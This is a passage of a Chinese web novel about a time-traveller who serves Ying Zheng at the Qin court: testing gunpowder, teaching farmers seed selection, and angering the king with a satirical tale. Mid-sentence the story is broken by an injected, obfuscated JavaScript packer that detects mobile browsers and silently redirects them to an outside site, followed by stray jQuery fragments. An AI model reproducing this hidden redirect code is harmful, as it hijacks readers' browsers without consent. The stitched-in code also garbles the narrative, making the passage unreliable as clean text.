嬴政父子面上皆是一红。
一个想的是这个时辰,阿母想必已经歇息安寝了,又因为自己的一句话被唤起,着实不应该。
一个则是隐晦的用眼神传递给郑妃什么不能明说的话。
郑妃全当没看见,行礼后询问唤她何事,才知晓是为了一起分食鱼唤她。
郑妃:鱼什么时候不能吃……
她正无语时,就见自己儿子巴巴跑去给那位搅动前朝风云,引的后宫嫔妃无数好奇之心的鹿大人打起下手。
深更露重,一片寒意。
这院子中倒是处处透着温馨。
郑妃好奇地四处张望,在得到连云的允许下,查看起她正在练的字。
这位鹿尧姑娘,对身边人倒是极好。
回头望着扶苏敬重中毫不遮掩对鹿尧的亲昵,郑妃凑到了嬴政身边小声说了句什么。
可话还没说完,就被打了臀部一掌。
“别妄想那些乱七八糟的。”嬴政语气满含不赞同,这两人如何能在一起?
郑妃暗暗翻了个白眼,起身也凑到了鹿尧身边,同她一起讨论起怎么样才能把食物做的更好吃。
嬴政落了单,但内心比任何时候都要满足。
他许久没有度过这么轻松愉快的夜间了。
鹿尧兴致大发挖出来了刚埋在树下个把月的桃花酒,四人吃吃喝喝闹到了天将亮。
嬴政看着三人醉的不省人事,做主让三人全歇在了鹿尧住处。
所幸,这里房间足够多。
扶苏是最先醒来的,他起身在窗边看了眼太阳的方位,顿时大惊。
“竟已午时!”
连月端来醒酒汤,安抚道:“王上免了您今日上学,公子安心。”
扶苏的侍童在院外遥遥招手,他以为出了什么事情,忙往院外而去。
“公子,诸位先生昨夜在福昌院哭了一夜,吵了一夜,路先生更是晕倒了过去,太医说是因为急火攻心,郁结难纾而致。”
扶苏松了口气:“正常,让太医医治便可。”
“公子?”侍童错愕,细细观察公子淡定的面容,小声提醒,“您不该前去探望吗?”
“苏不是太医,去也无用。”
话虽如此,可以往诸位先生们只要稍有风寒或稍有不适,公子都会前往侍疾……
扶苏转身回到院中。
昨夜他虽饮了酒,却也还记得鹿大人同他讲有要事请他相助。
扶苏静静候着,临到下午,连云才试探着询问了一句公子再次何事。
扶苏才知鹿尧凌晨便已离开王宫,去了宫外。
“去宫外做什么?”扶苏疑问。
“是王翦将军相请,具体事由奴等不知。”
鹿尧去宫外做什么?
鹿尧笑眯眯举起火把。
昨夜刚躺下,她的商城就触发出来了。
今儿她就开天辟地,炸出秦朝新的篇章!
20. 第20章
轰——
脚下一片震动,鹿尧把住栏杆,稳住身形,正要扭头装一波时,发现先前围观的秦人早已不见,唯有王翦还留在原地。
“天呐,竟然有如此威力。”王翦看着被轰炸掉的山体,忘记了合拢嘴巴。
他完全不敢想将火药用到齐国身上,他们会用多长时间决定投降。
几位面色发白的将领从远处过来,对鹿尧心服口服,拱手行礼:“鹿大人竟然能研究出如此杀器,我等敬佩至极。”
“好用是好用,就是不知道它是否方便携带?”
王翦一句话就问到了点子上,鹿尧道:“火药一旦潮湿,就无法点燃,没用了。”
如今入了秋,雨多,要好好保存它是一个很急迫的问题。
“用油布包裹呢?”
鹿尧摇了摇头:“具体的事情要看少府怎么解决,我以前并未关注过这些事情。”
干燥剂有用吗?
鹿尧决定先搞出来再说。
“这些是剩余的,你们可以拿去试试手。”
王翦顺手接了过来,在身后下属们的热切目光下,全揣到了自己怀里:“多谢鹿大人,由我来分配吧。”
“行,我先告辞了。”等下回去还要去看看学文的老师们有没有到福昌院报道。
鹿尧挥挥手走了,全然没注意到身后几位将领一拥而上,将王翦老将军围堵得险些喘不过来气来。
走在路上。
鹿尧看着自己解锁出来的商城,兴奋不已地翻着上面各类瓜果蔬菜。
虽然系统来的迟,还跑了,但留下来的这个商城足以弥补它所有的过错。
无视下面的金银数量,鹿尧笑眯眯地从第一页翻到了最后一页,浏览着上面各色米面油粮,瓜果蔬菜。
今日早晨她金子兑换了两个西红柿出来,自己吃了一个,拜托偶遇的蒙毅送给王上一个,味道她尝了,和自己所在世界一模一样,没有任何差异。
她不懂怎么种菜,但在这片土地上,最不缺的就是研究土地的人。
鹿尧脚步一顿,扭头转回自己方才路过的农田,挽了裤脚就进了里面。
“大娘,恁这大豆割完了准备种啥嘞?”
头上蒙着布的人抬头,嗡声嗡气问:“你在和我说话吗?”
一声鸭子叫把鹿尧弄懵了,她没听懂这大娘说的什么。
直到对方将布取下来,鹿尧才发现自己认错了性别。
他是男的。
一个处于变音阶段的青春期男生。
“你是逃兵?”鹿尧脱口而出。
她自从王宫出来,除了老弱妇孺,还没见过正值年少的男性。
“你才是逃兵!”他十分生气,脸上的雀斑都随之跳动起来,“我还未满17,不到征兵的年龄!”
鹿尧哦了一声,原来是这样。
“抱歉,是我误会你了。”鹿尧毫不犹豫的转移话题,“你还没回答我,收完大豆后,这里要种什么。”
“粟啊。”
“我们做个交易怎么样?”鹿尧指着他面前这片地,“我想给你一点儿小麦,你把他们的种子种在这里,等收获时我在过来看。”
“你……”少年上下打量鹿尧,见她穿着华贵,不像是疯子,才好声好气道,“这粟米是我们家明年一年的口粮,出了天大的事儿也不能误了种粟米。”
“这位姑娘,你还是早点回家去吧。”他俨然不想继续沟通的样子。
“哎呀,你别这么抗拒。”鹿尧一边说一边用半箱金子兑换了半袋种子,假装从怀里拿出来递给对方,“这是我偶然得到的种子,如果你愿意栽种这些种子,并且成功把它们养活,不管养活多少,只要有一株活着,我就免你三年赋税。”
鹿尧抬头,看着对方看傻子一样的眼神,也不恼,询问:“你叫什么?”
“章雨。”他打开袋子一看,里面种子数量少的十分可怜。
章雨狐疑不已,看着鹿尧的个头,再想想她说的话,他悟了。
擦了擦手,章雨像哄孩子一样上前,请鹿尧上路面上:“你叫什么名字呀?从哪里来的?”
“鹿尧,哪里来的不能告诉你。”
此话一出,章雨看鹿尧的眼神更可怜了。
这姑娘幸好是富贵人家出生的,要换到普通人家,恐怕早早就见阎王去了。
“你家在哪个方向,我送你回家。”瞧她长得这么人高马大,家里人一定很宠着她,即便脑子傻了,没有任何用处,也不缺她一口吃食。
鹿尧指向王宫方向:“我从不说假话,既然你担心,就跟我走一趟吧!”
章雨嗯嗯点头,将自己的篓子藏在了草丛中,便领着鹿尧往城内而去。
“我从山那边过来,这一路上只看到你在田里收豆子,其他人呢?他们不收豆子吗?”鹿尧好奇的问东问西。
“这里的田都被我承包了。”章雨有问必答,“这一片就我一个手脚利落,身体健康的劳动力了,我帮他们收豆子,收完每户分我一篓子,加起来够我家里人饱腹过冬了。”
“他们的豆也归你种吗?怎么种?有什么章法吗?”
“章法?”章雨抬头看傻大个,“种地要什么章法?”
鹿尧头顶问号:“当然有章法啊!”
“你怎么种地的?”
“刨坑,把种子放里面后再用土埋上,土干了浇水,然后等它成熟。”
鹿尧听得目瞪口呆,而后就伸手去掏章雨衣襟里的袋子:“还我种子!”
她兑换种子前想好了土豆好种好长,再不会种地也会长出些东西出来,可听完章雨所说,她天都塌了。
“照你这个种法,明年我能看见杂草都算你浇水勤快。”
章雨双手紧紧抓着衣襟,不让鹿尧的手再往里探:“种地不都是这样吗?我爷奶就是这样教我的。”
鹿尧头摇如同拨浪鼓,手下抢东西的动作更加强势,直接将人提了起来,好一通摇晃,掉下来半张干巴饼,一小块不知道什么东西的黑块,还有她的金种子。
“诶,我的晚饭!”
鹿尧赶忙捡起来,吹了吹:“不好意思,我不是故意的。”
“你是有意的!”章雨一把夺过来,心疼不已的摸了摸自己的半张饼,“你家里是怎么养的你,这么有力气,就该下地干活去。”
鹿尧正要说话时,章雨背后跑过来一个有些眼熟的人,眼看着对方要对章雨出手了,她再次伸手,提着章雨的肩膀,将人护到了自己身后。
“你——”
章雨正准备和这傻大个好好理论理论,不能仗着力气大就随意提溜人,就看见一人凶神恶煞,举着一把刀冲过来。
若不是傻大个,自己这时候就已经被抹脖子了。
鹿尧迅速夺了他的刀,瞧着对方身上的气势有些熟悉,才恍惚想起对方是谁:“你是扶苏身边的那个侍从?”
“大人,您没事儿吧!”原竹急得不行,左右查看着鹿尧有无受伤。
鹿尧还没说话,对方就像一只护食的小牛犊子,用头去顶、用脚去踹章雨。
章雨做好事却差点死在半路,心里火气也是蹭蹭往上冒。
鹿尧一个没拦住,两人扭打到了一起。
“诶诶,别打了,是个误会。”
俗话说得好,乱拳打死老师傅。
面前这俩人都是不会武功招式的,打起架来,一个拽头发,一个踢人下三路,手脏的鹿尧完全掺和不进去。
直到两人打的两败俱伤,坐在地上哼哧哼哧的喘气,鹿尧才一手提起一个,拐回正道干正事儿去了。
大阳宫。
扶苏一边教导着鹿尧的两个婢女,一边等着鹿尧回宫,听到侍从说鹿尧带着两个人往少府去了,便忙不迭起身去寻了。
远远瞧见对方身影,扶苏喜不自胜,追上去拱手问安:“鹿大人,昨夜酒醉,阿母和苏给您添麻烦了。”
鹿尧扭头:“你来的正好。”
扶苏险些被她胳膊下面夹的两个人腿踢到,往后退了一步,正要看这俩人是谁时,忽觉其中一人有些眼熟。
原竹掩着面颊的衣袖放了下来,羞愧嗫嚅道:“公子,是我。”
扶苏眉头皱起:“你做什么错事了,竟然让鹿大人……如此钳制住你?”
原竹瞪了一眼另外一侧的章雨,向扶苏告状:“他对大人不敬,还要对大人动手——”
鹿尧叹了口气,把这人撒手还给了扶苏:“你这侍从和你脾气是一模一样的,你快把他带走吧。”
她说了一路,嘴皮子都快磨破了,也不知道为什么非要认定章雨对她图
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511365|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谋不轨。
她这身形,她这力气,谁能欺负到她头上?
扶苏虽然不知道发生了什么,但能看出来原竹是做了什么错事,再度拱手:“是扶苏教导之错……”
“公子,这人就是心怀不轨,我都瞧见他往大人身上扑……”
原竹话戛然而止,低头不语。
鹿尧看了他一眼,笑了:“我还以为你天不怕地不怕呢,原来怕扶苏。”
一路上,小嘴叭叭的都想找块布堵住他的嘴了。
章雨从鹿尧径直向王宫走去时就吓傻了,尤其是只靠刷脸刷身体,连检查都没有,直接放他进来……
再听方才她和面前这位公子的交流,他彻底麻了。
“大人,我错了,我以为你是傻子才说送你回家,您千万不要生气……”章雨也不敢挣扎,就努力垫着脚尖够地面,不让鹿尧费力过多。
扶苏兀地偏头看向章雨,他竟然认为鹿尧是傻子???
此时,他明白了原竹为何与这人起了争执。
鹿尧没当回事儿,以前刚到学校,校服是绿色的,多的是人给她起外号为劣质版青花瓷。
“你别紧张,我带你入宫是有正事。”鹿尧看向扶苏,“你在此稍微等我一下。”
匆匆忙忙将章雨丢给治粟内史的地界,叮嘱他们教一下对方怎么种地后,鹿尧又转头去寻扶苏。
见他果然候在原地等自己,鹿尧十分不好意思:“我这人忘性大,干事儿总是东一榔头,西一棒子,要不是你提醒我,我都忘记我还找你了。”
扶苏摆手,真诚道:“您愿意出手教导我等,已是万恩,怎好奢求您事事关注。”
“还是昨夜喝醉酒的你看着更真实。”鹿尧拍了拍扶苏紧绷的身体,“放松点,我们昨夜不是说好以朋友相待对方吗,你这么有礼貌,说一句话拱手一次,我都不好意思麻烦你了。”
扶苏很少醉酒,因此完全不记得昨夜发生了什么,刚准备拱手解释,手腕被抬住,无法动弹。
“大……”
“嘚,你回去吧,我找别人帮忙。”鹿尧手微微用力,就以其手腕为支点,将他调转了一个方向。
“国师,苏称呼您为国师如何?”扶苏急忙开口,唯恐因为一个称呼惹了鹿尧不悦。
转身见她神色稍有松动,继续言:“父王封您为国师,苏如此称呼您也是正常的。”
鹿尧点点头,接受了这个称呼,在官场称呼彼此职位实属正常。
“那咱们走吧,公子。”
“诶,你那个侍从呢?”
“仪容不整,让他回去收拾了。”
“哦哦。”扶苏怪爱干净的。
鹿尧不着痕迹的低头看了看自己衣摆,暗道,还好政哥给她定做的衣服都是黑色,看不出来脏污。
“我昨日找你是想让你帮我找一下鲁班、诸葛家的人。”鹿尧回到自己房间,取出一沓纸张。
“少府的人都忙于研究造纸术,这段时间都没有睡过一个完整觉,让他们看到这个恐怕就要直接辟谷修仙不吃不喝不睡了。”
扶苏翻看纸张,没有看懂上面画的东西是什么,但他认出了最下方有火药二字。
“您放心,苏一定将鲁班和诸葛后人带到。”扶苏摸着手中纸张厚度,提议道,“不若在宫中专门辟出一个地方,让各部派人而来,省去您四处奔波寻人的时间,若是有什么疑问,还可就近唤人,让各部一同商讨,快速解决?”
鹿尧一听这是个好主意,就是不知道政哥能不能答应,毕竟少府各部虽然离得远,但也没远到哪里去,一刻钟之内就能到,在专门给她划分出来一块地让她折腾,总觉得不像那么回事儿。
她将自己的想法告诉扶苏,扶苏大惊。
“您怎么会这样想?于秦于百姓有利的事儿,自然是怎么快速怎么来,父王怎么会因为这个而不悦。”扶苏道,“此事儿您不用管,就交给苏来处理!”
将设计图纸郑重放在匣中,揣好到兜里,扶苏大步流星,前去寻父王。
一个时辰之后。
国师府和研究院正式落地。
鹿尧拿着地契站在院落中,只感觉天塌了。
“我要出宫去住吗?”鹿尧追问赵高,如果真的要离开政哥,自己住外面去,她就不要这个国师了。
21. 第21章
赵高笑呵呵地带鹿尧出院子看一看。
“奴等见过国师大人。”十数位身着宫装的人齐声行礼。
阵仗之大让鹿尧脸都白了。
【政哥这是不要我了吗?】
正向扶苏询问鹿尧所讲的物理是何物的嬴政话语一顿。
鹿尧这是从哪儿得到的信儿?
他就是不要扶苏,也不可能不要鹿尧的!
“扶苏,鹿尧所教授的知识你务必牢牢掌握,哪里不会就多问问淳于越等人。”嬴政话顿了顿,“每月月初,都来向寡人禀一次进度,哪里不会就同着他们多多钻研,实在不懂了,再去问鹿尧,不要一直打扰她。”
扶苏点头:“儿臣想提前预备好,将国师有可能需要的人才聚集在王都,以便国师寻人时,有人可用。”
嬴政想了想,提笔写下广纳贤才的集英令。
“此事就全权交于你负责了,还有各部,鹿尧想用谁,让他们全力配合,寡人不想听到任何他们不情愿的消息。”
“各部眼下都在争着往少府造纸处塞人,有此事为引,不会有人不配合。”
“九成为利而来。”嬴政提点扶苏,莫要被表象骗了。
“国师不愿意沾染铜臭味,苏便帮她打理好,该属于国师的一分都不会少。”
扶苏和嬴政在这件事上达成了高度统一的想法。
一人是觉得鹿尧无私献出技术,就该得到应有的回报;一人是清楚他和鹿尧都需要大量的钱财,不能让旁人占了他们的便宜。
嬴政挥手,示意扶苏上前来:“这是寡人私库的账本,鹿尧那儿有一份,这一份便交于你,一同帮她打理了。”
“钥匙正在配置另外一把,做好了让赵高给你送去。”
两人正说着,忽闻哭声由远至近,不过对视一眼的功夫,门口传来熟悉的声音。
“王上,不要抛弃我啊——”
鹿尧带着滔天的怨念进来,哭的那叫一个闻者伤心,听者流泪。
“我还有好多能力没施展出来呢,再给我一个机会,我一定带你长命百岁,从齐国打到齐国呜呜呜。”
旁人没听懂鹿尧话里的意思,嬴政却听懂了。
鹿尧常说他们地球是圆的,一个人只要坚持不懈的往前走,就会回到原点之类的话,她是想将天下都变成秦的疆土。
嬴政心里热乎乎的,有鹿尧相助,他定然可以!
他对自己有信心,更对大秦有信息。
扶苏看向父王,又看向鹿尧,怎么瞧都没瞧明白这两人为何一个情绪激昂,一个悲戚连连落泪。
“国师,您方才说抛弃,谁要抛弃您?”扶苏递上干净的手帕。
鹿尧顺手接过,跪在地上一只手抱着嬴政小腿,一只手用手帕抹着眼泪,呜呜咽咽哽咽难言着。
赵高跑岔气儿了都没追上鹿尧的脚步,当他踏入殿内时,立刻收到了两道蕴含怒意的眼刀子。
“赵高,父王让你去宣读旨意,你怎的把国师说哭了?”扶苏率先发问。
不明白赵高怎么做事的,宣读旨意都能出差错吗?
赵高有苦难言,可怜巴巴解释:“奴就是原原本本按照旨意宣读的。”
鹿尧只顾着哭,讲不出话来,听心声也没有什么有用信息,嬴政便根据她的性子猜测了一下原因。
看着殿中众多竖起耳朵的奴仆,嬴政挥挥手,连带着扶苏,让他们一起退了下去。
等人都走光了,他顺着鹿尧抱他腿的力度席地而坐。
“好了,别哭了,寡人没有不要你。”嬴政一如哄幼时扶苏的手法,轻抚其发顶。
“府邸和奴仆都是国师应该有的尊荣,寡人若是不给你,你这个国师岂不是成了摆设?”
“即便你出去外面住,寡人的王宫还不是让你来去自如,无人拦你?”
“此番哭得好似寡人的奖赏是毒药一般,要害了你。”
“真的?”
看着泪眼婆娑的鹿尧,嬴政肯定点头:“寡人骗你作甚?”
鹿尧松了口气,抹抹眼泪笑出来。
【吓死我了,还以为不能给政哥当牛马了。】
“王上,我只留在王宫,别的地儿都不去,你让那些人从哪儿来回哪儿去吧。”
嬴政点头,他本来的打算也是让奴仆们去拾掇国师府,在没有收拾好之前,鹿尧还是住在宫内。
“既然无事了,是否可以放开寡人的腿了。”
鹿尧顺着嬴政的视线看去,才发现自己的手还抓着他的小腿。
“咳咳,臣一时忘了规矩,王上莫要怪罪。”鹿尧讪讪松了手道歉。
“你忘了的规矩何止这一点。”
“王上您说什么?”
嬴政面不改色摇头:“寡人什么也没有说。”
“王上,炼制细盐的手法臣已经教会治粟内史的人了,此后所赚银钱就全归您私库所有吧。”
“嗯?”嬴政疑惑,所赚银钱?卖细盐吗?
“对呀。”鹿尧这才想起来自己先前吩咐连云连月做的事儿没有告诉政哥,“我让连云连月给国内有名有姓的贵族那儿都送了一小罐儿细盐,一日两餐的话,估摸今儿早上就用完了。”
“吃过细盐再吃粗盐,原先还能忍受的苦味就会变得格外清楚,他们享受惯了的人是一定不会再忍受的。”她拍了拍自己腰间的荷包,“接下来的半个月,我们就该赚的盆满钵满了。”
鹿尧桀桀桀笑着,仿佛已经看见了金子正排着队朝自己的荷包走来。
嬴政认可鹿尧的想法,自她第一把细盐生产出来后,他就没有再吃过盐巴,贵族们定然会想方设法的去寻细盐的来路,届时……
怎么定价就由他决定了。
“不过嘛,王上,我有一个小小的请求——”
嬴政侧目,有些好奇,这还是鹿尧第一次对他提要求。
“且说。”
“粗盐的价格能不能降低一点儿?”唯恐嬴政不答应,鹿尧解释道,“我在军中那段时间遇到了不少将士晕倒,都是因为缺少盐分的摄入。”
“回来后我去……问了治粟内史,官盐全都存在库房内,潮了都不愿意放低价格供给将士和百姓使用。”
嬴政瞧着她憋着一股子气的模样,想起治粟内史瘸着腿,在自己面前一把眼泪一把鼻涕哭诉的场景。
“官盐定价是经过多方考量才定下的,并不是他一人决定的。”嬴政眼瞧着鹿尧嘴角往下撇,话头立刻转了,“此事寡人会和他在商量一下的,等事成了告诉你。”
“明天?”
“……”
嬴政抬手,给了鹿尧一个脑瓜崩:“明天就明天。”
鹿尧哦了一声。
【还以为政哥会霸气的一挥手说,行,官盐降价三分之二呢。】
嬴政沉默不语。
他若说了这话,治粟内史那老头子能当场撞柱自尽。
“那王上你继续忙,我也去忙嘞!”鹿尧蹲下行礼,“我告辞啦!”
声音还在,人却早已消失在嬴政视线中。
嬴政扶额,这不伦不类的礼……
未免让别人看了笑话,嬴政提笔,又给了赵高一道旨令。
鹿尧前头跑,赵高后面追。
半路上探听到国师往少府丢了一个宫外的孩子,赵高一转身往少府寻去。
不管怎样,国师总不能忘记她亲自带进来的人吧?
赵高这一等,就等到了王上派人来寻。
探头一瞧,好家伙,天都黑了。
“国师可曾来过少府?”赵高询问少府外的守卫,见他摇头,便揣好手令回大阳宫。
章雨眼巴巴的看着赵高远去的身影,询问守卫:“草民可以出去找国师大人吗?”
守卫看了眼他身后追来的籍田孙丞,忍不住笑了:“或许等你什么时候学成了,才能从这儿离开。”
章雨惊:“我已经学会了,什么都学会了,快放我回家吧,我家里还有长辈要照顾。”
“章家小子,不必担心,我已经让手下去你家告知你父母了。”孙丞手里拿着锄头,催促章雨回到内院去,“让你刨坑播种,你怎得播种到这里了?快跟我回去,国师大人来检阅之前,定要将我必生所学学会啊!”
“您当真派人去过我家了?”
“大母让你好生跟我学习,乡里乡亲的地全靠着你呢。”孙杰心中急切,“早前就让你来我府上自己学习一下,你偏不,快,跟我走,今夜不许睡,好好听我讲轮播和翻土是为了什么。”
“孙丞,您家和我家就隔了一道墙,您整天在院子念叨,我耳朵都听起茧子了。”
“听有什么用,你要做到知行合一。”孙丞拽着他手腕,强行将人带了回去,“我可是打听过了,国师是从地里将你带出来的!”
盯着章雨挖坑播种,孙丞是怎么想都没有想明白。
章雨的两个哥哥都在军中立了功,奖赏的土地加在一起有百亩之余,每每春种播不过来时,都是他带着壮力去帮忙,收获的时候分出来三五石给大家当做工钱。
不说旁的,今年发了蝗灾,他们也收了80石粮食,扣除田租和种子后,也够他们爷孙仨儿吃一整年了。
国师知道章家粮食产量后不说夸他,竟还将人带回了宫中重新学习种地……
是他哪里没做对吗?
孙丞百思不得其解,就这样闷头带着章雨在宫内苦学。
月上枝头。
福昌院。
鹿尧一股脑看完了所有博士仆射们的读后感,她不得不感叹一句,这些先生们是真对的起“博士”二字。
言语犀利非常,直戳宋亡国之根本原因。
还有这刻刀之力度,险些将竹片戳破,若是那两位父子在此,怕是要被他们一人一笏板锤的钉入土中,不见发顶。
思绪一转,鹿尧寻了纸张,研磨再次提笔。
临到夜最深的二更天,看着新鲜出炉的叫门天子小章,鹿尧满意地撂下了毛笔。
推门踏步而出时,忽觉脚下异样,低头一看,竟有人卷了被子睡在她门口。
看年岁,已然过了五十,两鬓白发。
深更露重,任由上了年纪的老头子卷着被子睡在寒风中,实属不该。
鹿尧点点头,用了最轻的力道将老头公主抱回了屋内,放了盏小灯到不易打翻之地,暗暗在心里点赞自己是个五好少年后阖门离去了。
起夜的李言良恍惚看见人影从福昌院大门离去,他心里咯噔一声,想着该不会是国师走了吧。快步到正殿内,推门便瞧见一个时辰前扬言要死守门口,要第一时间和国师请教问题的王奉常呼呼大睡,一怒之下将其被子掀了。
“王奉常,你是不是因为和路荀有龃龉,故意不喊醒我等让国师离去的?”
王有睁眼环顾四周,这才发现自己被移到了屋内:“我最多问完自己的问题再唤你们,怎会故意放走国师?”
两人起了争执,声音逐渐变大,吵醒了其他人。
有人去看自己交上去的作业,上面竟然一一被国师大人写了评语——优。
“这是不是代表国师认可我了?”有人惊喜发问,引得大家所有人都去翻自己的竹简。
李言良手疾眼快,不仅拿了自己的竹简,更是将墨迹尚未干透的纸张也全拿到了手里。
扫了一眼自己也是优后,他一声未吭,顺走了一根蜡烛到角落自己看了起来。
直到气的双眼充血,怒发冲冠,忍不住以拳锤墙,咬牙切齿道:“臣子守职需君正,此等君王,便是一箭射杀又何妨。”
他声音不小,引得众人回首看去。
“李言良,你疯了!”此等言论,是要掉脑袋的!
李言良冷笑一声,将纸张收好,递给他们:“若你们看了还能心平气和,我这人头,丢了也无妨!”
众人面面相觑,一时间不敢接他手里纸张。
他们犹豫时,原竹钻入人群,取走了李博士手中纸张:“既然你们不看,就先带去给公子看吧!”
尚未转身离去,便瞧见李博士仰头倒下。
赶忙找了医官而来,竟是怒气攻心,被气晕了。
原竹捂着怀中纸张,一时间竟然不知要不要拿去给公子看了。
犹豫再三,原竹毅然转头,向大阳宫而去。
朝时。
三官九卿,文臣武将热火朝天商讨着何时出征齐国。
“有国师的神兵利器在,不用月余就能将齐国拿下。”王翦甚为自信,他看向刚剿完燕国余孽回来的王贲,问,“齐国之战,你可有意愿参加?”
“早在回朝时就听闻国师所造之火药威名,贲能去灭齐,乃贲之幸。”
“王小将军,你此番回来都未曾见识过火药真正的模样,就不怕我们是在骗你吗?”有人忍不住歪了题,王贲从战场回来面见王上后,第二个要见的人就是国师大人。
从他家中小辈口中得知,王贲对国师的感情,有点异样啊。
“国师之能,我等早在战场上见识过了,便是有一日国师说人能像鸟一样飞在天上,贲也是相信的!”
王贲回话没有一丝犹豫,王翦在一侧也是连连点头:“国师从不弄虚作假,我等信之。”
“我有一技……”李斯开口,将话题引回正道。
等众人都看向他,才缓缓开口:“若是用好了,可不费一兵一卒拿下齐国。”
“李斯,你且直说,莫要卖关子。”王翦最是烦他装腔作势一套,催促李斯快快道来。
李斯双手一揣,将朝笏抱到怀里,昂着头道:“此计我只能同王上和国师讲。”
“嗯?”王翦手心痒痒,如果不是在朝上,他必定和李斯动手,让他知道说话不能说一半,吊人胃口。
不过说到王上,王上似乎许久不曾发言……
王翦侧目看去,只见高台之上,一片阴云。
赵高面色发白、双腿打颤,好似三魂七魄只剩下一魂一魄。
纷杂人声渐静,众人都察觉到了不对劲儿,互相对视也不知是发生了何事。
殿中一片死寂。
赵高抖的腿都没知觉了,他双目无神。
原以为原竹送的纸张是国师新献上来的技方,想借机奉承几句让王上高兴一下,谁承想……王上从开始看的时候,面色就阴沉了下去,现在更是黑的能滴出水来。
方才还听到了“咔吧”的响声,王上该不会气得把手骨捏碎了吧。
赵高紧张高压到想吐,但又不敢真的吐出来。
似乎过去了一个时辰,又似乎是一炷香的时间,王上终于有所动作。
众人不敢抬头看,只隐约嗅到了什么东西被火点燃的气味。
等火苗渐灭,桌上只余灰烬,嬴政才缓缓站起身,冷厉道:“散朝。”
百官身体先是一僵,而后才反应过来王上说的是散朝二字,而不是要取了谁的项上人头。
李斯率先躬身退下,紧接着便是少府的人。
在战场面对成千上万敌军也不曾表露一丝怯意的王翦都悄悄松了口气,拽着被吓傻的儿子,快速退出了大阳宫。
百官转瞬消失的无影无踪,赵高内心艳羡不已,他也想走,可他不能。
他能感受到王上蕴含雷霆之怒的眼神正落到了他身上。
噗通。
赵高跪地,额头紧贴地面,瑟缩道:“王上,此纸是公子身边的侍从原竹送来,奴原封不动放到了案桌上,不曾看过。”
“派一队守卫去福昌院,国师所书之内容,寡人要做第一个看到的人。”
未听到赵高应声,嬴政唇角勾起:“怎得,对寡人的话有异议?”
“奴不敢!奴这就去办!”赵高连滚带爬,临出殿门时,竟被门槛绊倒,砰的一声栽倒在地。
看着赵高迅速爬起,头也不回的往外跑,嬴政手抚在腰间佩剑上。
赵高究竟是吃了虎狼之心,还是现在就在他面前伪装,藏着皮下那颗反叛之心?
嬴政清楚的知道自己现在是在迁怒赵高,因此只是起了杀心,并未令人动手。
视线重新落回到案桌上的灰烬,嬴政开始反思自己的所作所为。
书中君王宠信宦官王振,听信他所言御驾亲征,行军路上随意变更路线,导致全军覆没,一国之君被掳,一如他宠信蒙嘉,信了他奉承之言,允荆轲入殿,图穷匕见刺杀一事。
今后他再也不会独宠、偏听偏信一臣之言!
还有这君王被掳,被敌军威胁前去城门口叫守城之将开门之事……
嬴政生生将桌角掰下来一块。
要么臣子沸水敢蹚,烈火敢踏,不计伤亡的救出君王,要么就狠下心,一剑射杀君王,如何会发生君王二次叫门,臣子城墙观望之事!
兵权绝不可旁落,地方绝不能拥有自主之权。
中央集权,势在必行。
想好自己未来要做的事情,嬴政心中愤怒稍稍平息。
此时才理智了一些,嗤笑道:“若是寡人落到敌人之手,死局既定,定会取了对面君王或武将之首,能闹出多大的乱子就闹出多大的乱子,不允扶苏、蒙、王相救。”
鹿尧并不知晓嬴政所想,她昨个儿写了一晚上小说,歇了一个时辰就起来琢磨柏油路怎么造了。
俗话说得好,要想富,先修路。
她想把柏油路连带着农田灌溉一起修了。
但她不是学建筑的,看了半晌洛阳的地图也没研究会,只好又去少府寻人。
她记得治粟内史也是管这事儿的,便径直去了治粟内史的地界儿。
一推门,就看见章雨如丧考妣般扛着锄头挖地埋种子,动作机械重复,没有一点儿生气。
“你这是被妖精吸干了?”眼底下的青黑好像一夜未眠般。
孙丞听到国师声音,一个激灵醒来,抢在章雨开口之前,如同看见亲娘一般迎上去:“国师,您终于来了,昨日未曾细问,可是章雨冒犯了您,做错了什么吗?”
哪壶不开提哪壶!
章雨怒!
国师好不容易忘了昨儿他把她当傻大个的事儿,今儿又被孙丞翻了出来,他是不想让自己活着回家见大母了吗!
“国师!”章雨一声仰天喊,一屁股挤走孙丞,让出视线让她看面前新辟的土地给她看。
“您看草民这地种的怎么样!”章雨很有信心,他就差一尺一尺量着种子之间的间距种了。
鹿尧闻言上前,随机扒开了五个种子坑。
“你这种的是什么种子?”
“麦苗。”孙丞道,“颗颗都是我们精心挑选的种……”
话尚未说完,就看见国师手中种子轻轻揉搓,外层沾染的潮湿泥土散去,内里空空,被虫蛀过的种子现于眼前。
“你们确定,这精心挑选的种子,能种活?”
孙丞脸“唰”一下红了,忙去把一旁竹箱拖了出来,虚心请教道:“国师可否帮臣看看这些种子如何?”
鹿尧看向四周,麻烦守卫提了一桶水来,将种子一股脑倒进了水中。
章雨大惊,这种子遇水就发芽,若是还没种到地里就发芽了可怎么办!
孙丞捂住了他要大呼小叫的嘴,低声警告:“安静点儿,国师自有她的用意。”
“哇呜呜——”放开我,我知道了。
过了十多分钟,鹿尧将上层漂浮的种子全部舀出:“这些都是劣质种子,多半无法发芽,下回取了盐,倒点儿盐进去,更容易区分。”
把盐倒水里区分种子……
章雨看鹿尧的眼神又回到了昨日初见那般。
盐这么金贵的东西,种五年收获的粮食都不一定能换半罐,只有傻子才会把它倒水里……
“当然,只用水也是可以筛选的。”
孙丞听到这话心里咯噔一声,赶忙去看国师,见国师并未看到章雨的表情,毫不犹豫下死手掐了章雨胳膊。
这死小子,能活活,不能活别活,不要连累他!
鹿尧确实是没看见,她正仰头看天,阴云密布:“这天气恐怕是无法晾晒干了,我就口头和你们说吧。”
她将沉在下面的种子捞出,裹着布用力甩了几下,在石板上晾开。
“好种子表皮都是光滑的,颜色均匀,捏起来是硬硬的,有弹性。”说着她捧起一把小麦种子放在鼻下闻,一股谷物特有的植物清香味,忍不住多闻了两下。
抬头对上章雨和孙丞的目光,她示意这两人学着她方才的步骤试一试。
